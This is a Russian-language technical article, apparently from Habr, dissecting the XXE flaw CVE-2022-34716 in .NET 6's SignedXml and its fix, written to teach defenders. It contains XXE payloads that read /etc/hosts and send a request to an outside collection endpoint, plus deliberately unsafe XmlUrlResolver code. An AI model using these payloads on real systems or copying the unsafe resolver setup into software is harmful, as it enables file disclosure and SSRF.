Уязвимость XXE в .NET 6 SDK: с чем боролись…

от автора

Современный .NET даёт разработчикам защиту от XXE из коробки: парсишь себе XML и не забиваешь голову всякими DTD, сущностями и связанной с ними безопасностью. Разве не прекрасно? Однако жизнь — штука с иронией…

Под катом — разбор по кусочкам XXE из .NET 6 SDK: код, причины дефекта безопасности, фикс.

Примечание. Я писал статью с расчётом на читателя, уже знакомого с XXE. Если только знакомитесь с темой или нужно освежить память, предлагаю эти материалы:

XXE в .NET: специфика XmlDocument

XML-парсеры с дефолтными настройками в современном .NET в основном защищены от XXE. Это достигается за счёт выключения резолверов сущностей или отключения обработки DTD — зависит от конкретного парсера.

Почему в основном?

  • не возьмусь сказать наверняка за все парсеры;
  • если бы все парсеры были защищены, то и статьи не было бы 🙂

Чтобы разобраться с уязвимостью из .NET 6, вспомним специфику типа XmlDocument. Начнём с примера. Такой код в современном .NET защищён от XXE:

XmlDocument xmlDoc = new XmlDocument(); xmlDoc.Load(xmlStream); // Processing...

Убедимся в этом — попробуем прочитать XML-парсером локальный файл и распечатать содержимое в консоль:

static void ProcessXml(Stream xmlStream) {     var xmlDoc = new XmlDocument();            xmlDoc.Load(xmlStream);      // Processing...     Console.WriteLine(xmlDoc.InnerText); }

Вредоносный XML:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxeExample [     <!ENTITY query SYSTEM "file:///etc/hosts" > ]> <xxeExample>     &query; </xxeExample>

Результат — пустой выхлоп.

XML-парсер не выкинул исключение, но и сущность разбирать не стал. С сетевыми запросами ситуация аналогична: в дефолтной конфигурации парсер их не выполняет.

Приведённый выше код легко сделать опасным, проинициализировав свойство XmlResolver:

static void ProcessXml(Stream xmlStream) {     XmlDocument xmlDoc = new XmlDocument()     {         XmlResolver = new XmlUrlResolver()     };      xmlDoc.Load(xmlStream);      // Processing...     Console.WriteLine(xmlDoc.InnerText); }

Если этот код будет парсить тот же XML, приложение запишет в консоль содержимое файла hosts:

С сетевыми запросами ситуация аналогична — меняем содержимое подаваемого на вход XML-файла и проверяем указанную в нём конечную точку.

XML с сущностью обращения к внешнему ресурсу (URI сокращён):

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxeExample [     <!ENTITY query SYSTEM "https://*.beeceptor.com/xxe?data=Memento%20mori"> ]> <xxeExample>&query;</xxeExample>

Пойманный сетевой запрос:

Вывод: в .NET экземпляры XmlDocument безопасны из коробки, так как у них отсутствует резолвер. Однако парсер станет уязвимым, если явно проинициализировать свойство XmlResolver опасным значением (например, экземпляром XmlUrlResolver в дефолтном состоянии).

А вот в случае с .NET Framework всё не так радужно.

Безопасность дефолтных парсеров в .NET Framework зависит не только от версии фреймворка, но и от ряда других факторов. Подробнее эту тему я разбирал в докладе «Уязвимости при работе с XML в .NET: часть 2» на DotNext 2023. Запись уже можно посмотреть, если есть билет.

CVE-2022-34716: XXE в .NET 6 SDK

Общая информация

От общей теории переходим к нашей основной теме — уязвимости CVE-2022-34716.
Обычно Microsoft не даёт много информации об уязвимостях в своих продуктах. Этот раз исключением не стал. С одной стороны, мотивация таких решений понятна. С другой, факт остаётся фактом: хочешь деталей — ищи их сам.

Основная информация:

Однако, если покопаться в интернете чуть побольше, можно найти интересные подробности: link #1, link #2. Из них выясняем, что CVE-2022-34716 — это XXE, связанная с типом System.Security.Cryptography.Xml.SignedXml. Что ж, давайте попробуем составить PoC и найти причины дефекта безопасности.

Чтобы изучить проблему, соберём тестовый проект на .NET 6 SDK с уязвимой версией пакета System.Security.Cryptography.Xml — 6.0.0. Код для работы с типом SignedXml возьмём из документации.

Сокращённый вариант кода из доков, достаточный для исследования:

void ProcessSignedXml(String xmlPath)  {            var xmlDoc = new XmlDocument();            xmlDoc.Load(xmlPath);            var signedXml = new SignedXml(xmlDoc);            signedXml.SigningKey = RSA.Create();             Reference reference = new Reference();            reference.Uri = String.Empty;             var env = new XmlDsigEnvelopedSignatureTransform();            reference.AddTransform(env);             signedXml.AddReference(reference);             signedXml.ComputeSignature();     // ... }

На вход подаём XML-файл следующего вида:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxeExample [     <!ENTITY query SYSTEM "https://path/to/endpoint"> ]> <xxeExample>&query;</xxeExample>

Вместо path/to/endpoint я использовал конкретный эндпоинт на beeceptor.com. Если при парсинге XML-файла на конечную придёт запрос, значит, мы докопались до XXE.

Алгоритм проверки получается таким:

  1. Отдаём описанный выше XML-файл в метод ProcessSignedXml.
  2. Отлаживаем код и смотрим, какое обращение к API приводит к пингу конечной точки.
  3. Раскручиваем обращение к API до выяснения причин.

Вернёмся к методу ProcessSignedXml:

void ProcessSignedXml(String xmlPath)  {            var xmlDoc = new XmlDocument();            xmlDoc.Load(xmlPath);            var signedXml = new SignedXml(xmlDoc);            signedXml.SigningKey = RSA.Create();             Reference reference = new Reference();            reference.Uri = String.Empty;             var env = new XmlDsigEnvelopedSignatureTransform();            reference.AddTransform(env);             signedXml.AddReference(reference);             signedXml.ComputeSignature();         // ... }

Первое, что может вызвать подозрение — вызов метода XmlDocument.Load:

var xmlDoc = new XmlDocument();        xmlDoc.Load(xmlPath);    

Однако мы разобрались, что подобный код в .NET безопасен. К тому же он не задействует API SignedXml.

Создание экземпляра SignedXml также не порождает сетевого запроса:

var signedXml = new SignedXml(xmlDoc);

Не буду томить — обращение к конечной точке происходит во время вызова метода ComputeSignature. Неожиданно…

На самом деле нас интересует даже не ComputeSignature, а транзитивно вызываемый им CalculateHashValue. Цепочка вызовов выглядит так:

ComputeSignature   -> BuildDigestReferences        -> UpdateHashValue             -> CalculateHashValue

Что ж, давайте посмотрим на CalculateHashValue.

Анализ метода CalculateHashValue

Метод занимает порядка 150 строк, поэтому мы разберём только маленький его фрагмент — тот, в который переходит исполнение в нашем случае:

internal byte[]  CalculateHashValue(XmlDocument document, CanonicalXmlNodeList refList) {   ...   XmlResolver resolver = null;   ...   resolver = (SignedXml.ResolverSet ? SignedXml._xmlResolver                                      : new XmlSecureResolver(new XmlUrlResolver(),                                                             baseUri));    XmlDocument docWithNoComments = Utils.DiscardComments(     Utils.PreProcessDocumentInput(document, resolver, baseUri));   ... }

Ага, интересно… В глаза бросаются сразу несколько моментов.

Первый — присутствие переменной resolver типа XmlResolver. В начале статьи мы разбирали, что использование опасных резолверов (например, XmlUrlResolver) может сделать XML-парсер уязвимым к XXE.

Второй — проинициализированный резолвер передаётся ещё глубже — в метод Utils.PreProcessDocumentInput. Именно при его вызове и выполняется сетевой запрос.

Разберём оба этих момента.

Примечание. Рассматриваемая ветка кода — не единственная, где создаётся и используется резолвер. Если интересно посмотреть на остальные, загляните в исходники.

XmlSecureResolver

Код объявления и инициализации резолвера:

XmlResolver resolver = null; ... resolver = (SignedXml.ResolverSet ? SignedXml._xmlResolver                                    : new XmlSecureResolver(new XmlUrlResolver(),                                                           baseUri));

До этого момента резолвер выставлен не был, поэтому свойство SignedXml.ResolverSet имеет значение false. Следовательно, resolver инициализируется ссылкой на экземпляр XmlSecureResolver, созданный в alternative-ветви тернарного оператора.

Обратите внимание, что первым аргументом конструктора XmlSecureResolver выступает ссылка на экземпляр XmlUrlResolver в дефолтном состоянии. Мы уже знаем, что такие резолверы опасны. Но может внутри XmlSecureResolver есть какая-то защита? Давайте проверим:

public partial class XmlSecureResolver : XmlResolver {     private readonly XmlResolver _resolver;      public XmlSecureResolver(XmlResolver resolver, string? securityUrl)     {         _resolver = resolver;     }      public override ICredentials Credentials     {         set { _resolver.Credentials = value; }     }      public override object? GetEntity(Uri absoluteUri,                                        string? role, Type? ofObjectToReturn)     {         return _resolver.GetEntity(absoluteUri, role, ofObjectToReturn);     }      public override Uri ResolveUri(Uri? baseUri, string? relativeUri)     {         return _resolver.ResolveUri(baseUri, relativeUri);     } }

Нет, ничего. Методы, отвечающие за резолвинг URI и обработку сущностей по факту делегируют работу объекту, на который ссылается поле _resolver. Чем оно проинициализировано? Правильно — ссылкой на опасный резолвер, который был передан в конструктор:

new XmlSecureResolver(new XmlUrlResolver(), baseUri)

Вывод: в плане работы с сущностями XmlSecureResolver так же опасен, как и XmlUrlResolver.

Utils.PreProcessDocumentInput

Вызов метода Utils.PreProcessDocumentInput выглядит так:

XmlDocument docWithNoComments = Utils.DiscardComments(       Utils.PreProcessDocumentInput(document, resolver, baseUri));

Мы выяснили, что resolver ссылается на опасный объект. Посмотрим, что происходит внутри PreProcessDocumentInput:

internal static XmlDocument  PreProcessDocumentInput(XmlDocument document,                          XmlResolver xmlResolver,                          string baseUri) {     if (document == null)         throw new ArgumentNullException(nameof(document));      MyXmlDocument doc = new MyXmlDocument();     doc.PreserveWhitespace = document.PreserveWhitespace;      // Normalize the document     using (TextReader stringReader = new StringReader(document.OuterXml))     {         XmlReaderSettings settings = new XmlReaderSettings();         settings.XmlResolver = xmlResolver;         settings.DtdProcessing = DtdProcessing.Parse;         ...         XmlReader reader = XmlReader.Create(stringReader, settings, baseUri);         doc.Load(reader);     }     return doc; }

Основное, что нас интересует — создание XML-парсера (reader) на основе настроек (settings), причём:

  1. Свойство DtdProcessing инициализируется значением DtdProcessing.Parse.
  2. В свойство XmlResolver записывается ссылка на опасный резолвер — экземпляр XmlSecureResolver, с которым мы разбирались выше.

Всё это делает созданный экземпляр XmlReader уязвимым к XXE-атакам. Поэтому же вызов doc.Load(reader) может читать локальные файлы или порождать сетевые запросы, что и происходит в нашем случае.

Саммари

Соберём основные моменты, которые привели к уязвимости:

  1. При использовании API SignedXml мы неявно вызвали метод CalculateHashValue.
  2. Метод CalculateHashValue, в свою очередь, вызывает вспомогательный метод Utils.PreProcessDocumentInput, в который передаёт ссылку на экземпляр типа XmlSecureResolver.
  3. Тип XmlSecureResolver делегирует обработку внешних сущностей экземпляру типа XmlUrlResolver и из-за этого является опасным.
  4. В методе Utils.PreProcessDocumentInput создаётся XML-парсер типа XmlReader, который:
    • разбирает DTD;
    • использует в качестве резолвера экземпляр XmlSecureResolver.
  5. Из-за перечисленных свойств созданный парсер является уязвимым к XXE.
  6. Так как этот парсер разбирает вредоносный XML, возникает уязвимость.

Напомню, что мы обрабатывали с помощью SignedXml API файл такого вида:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxeExample [     <!ENTITY query SYSTEM "https://path/to/endpoint"> ]> <xxeExample>&query;</xxeExample>

Настроим конечную точку на возврат текста: тогда после вызова doc.Load(reader) сможем прочитать его, обратившись к свойству doc.InnerText:

Игры с цитатами из Хагакурэ — забавный эксперимент. Однако напомню, что последствиями XXE могут быть не безобидные шутки, а SSRF и утечки данных.

**
Уверен, есть и другие способы провести XXE-атаку на SignedXml: в одном только методе CalculateHashValue целых 6 мест создания и использования опасных резолверов.

Фикс

С уязвимостью разобрались, посмотрим на фикс. Он достаточно интересный — не затрагивает код создания и использования резолверов.

Продублирую код, который мы разбирали:

resolver = (SignedXml.ResolverSet ? SignedXml._xmlResolver                                    : new XmlSecureResolver(new XmlUrlResolver(),                                                           baseUri));  XmlDocument docWithNoComments = Utils.DiscardComments(     Utils.PreProcessDocumentInput(document, resolver, baseUri));

Ни он, ни внутренности метода PreProcessDocumentInput не поменялись. Основное, что изменилось — тип XmlSecureResolver. Причём даже не его реализация — приведённый фрагмент кода стал использовать в принципе другой тип. Как так? Сейчас разберёмся.

Метод CalculateHashValue определён в типе Reference из пространства имён System.Security.Cryptography.Xml. Тип XmlSecureResolver находится в пространстве имён System.Xml и в область видимости для Reference включается через using:

// Reference.cs using System.Xml; ... namespace System.Security.Cryptography.Xml {     public class Reference     {         ...         internal byte[]          CalculateHashValue(XmlDocument document, CanonicalXmlNodeList refList)         {             ...             resolver = (  SignedXml.ResolverSet                          ? SignedXml._xmlResolver                          : new XmlSecureResolver(new XmlUrlResolver(),                                                 baseUri));              XmlDocument docWithNoComments =                Utils.DiscardComments(                 Utils.PreProcessDocumentInput(document, resolver, baseUri));             ...          }     } }  // XmlSecureResolver.cs namespace System.Xml {     ...     public partial class XmlSecureResolver : XmlResolver     { ... } }

В коммите с фиксом добавляют другую реализацию типа XmlSecureResolver в рамках пространства имён System.Security.Cryptography.Xml — того же самого, где содержится и сам тип Reference.

Получается, что код типа Reference, создания и использования резолверов не поменялись. Однако теперь используются безопасные резолверы из пространства имён System.Security.Cryptography.Xml.XmlSecureResolver, а не System.Xml.XmlSecureResolver.

Сам новый резолвер выглядит так:

namespace System.Security.Cryptography.Xml {     // This type masks out System.Xml.XmlSecureResolver by being in the local namespace.     internal sealed class XmlSecureResolver : XmlResolver     {         internal XmlSecureResolver(XmlResolver resolver, string securityUrl)         {         }          // Simulate .NET Framework's CAS behavior by throwing SecurityException.         // Unlike .NET Framework's implementation, the securityUrl ctor parameter has no effect.         public override object          GetEntity(Uri absoluteUri, string role, Type ofObjectToReturn)            => throw new SecurityException();     } }

Никакого делегирования резолвинга сущностей: если метод GetEntity вызывается, то он просто выкидывает исключение типа SecurityException. В этом можно убедиться, обновив пакет System.Security.Cryptography.Xml до версии 6.0.1. Если взять проверочный код из начала раздела и скормить ему тот же вредоносный XML, вместо раскрытия сущностей получим исключение:

Выводы

В .NET из коробки есть защита от XXE. Как мы сегодня убедились, эта же защита легко ломается, когда из-за стечения обстоятельств XML-парсеры получают опасные настройки.

Что здесь можно посоветовать:

  • следите за тем, чтобы парсеры не обрабатывали DTD / внешние сущности или делали это с необходимыми ограничениями;
  • будьте аккуратнее со сторонними компонентами (будь то SDK или NuGet-пакет). Если они работают с XML, кто знает, безопасно ли.

Да пребудет с вами безопасность.

Дополнительные материалы

Статьи

Доклады

P.S. На конференции Joker 2023 я рассказывал о специфике XXE в Java. Если интересно, в чём отличие от .NET или хочется поделиться со знакомыми Java-разработчиками, вот ссылка на доклад (чтобы посмотреть запись, нужен билет).


ссылка на оригинал статьи https://habr.com/ru/articles/769714/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *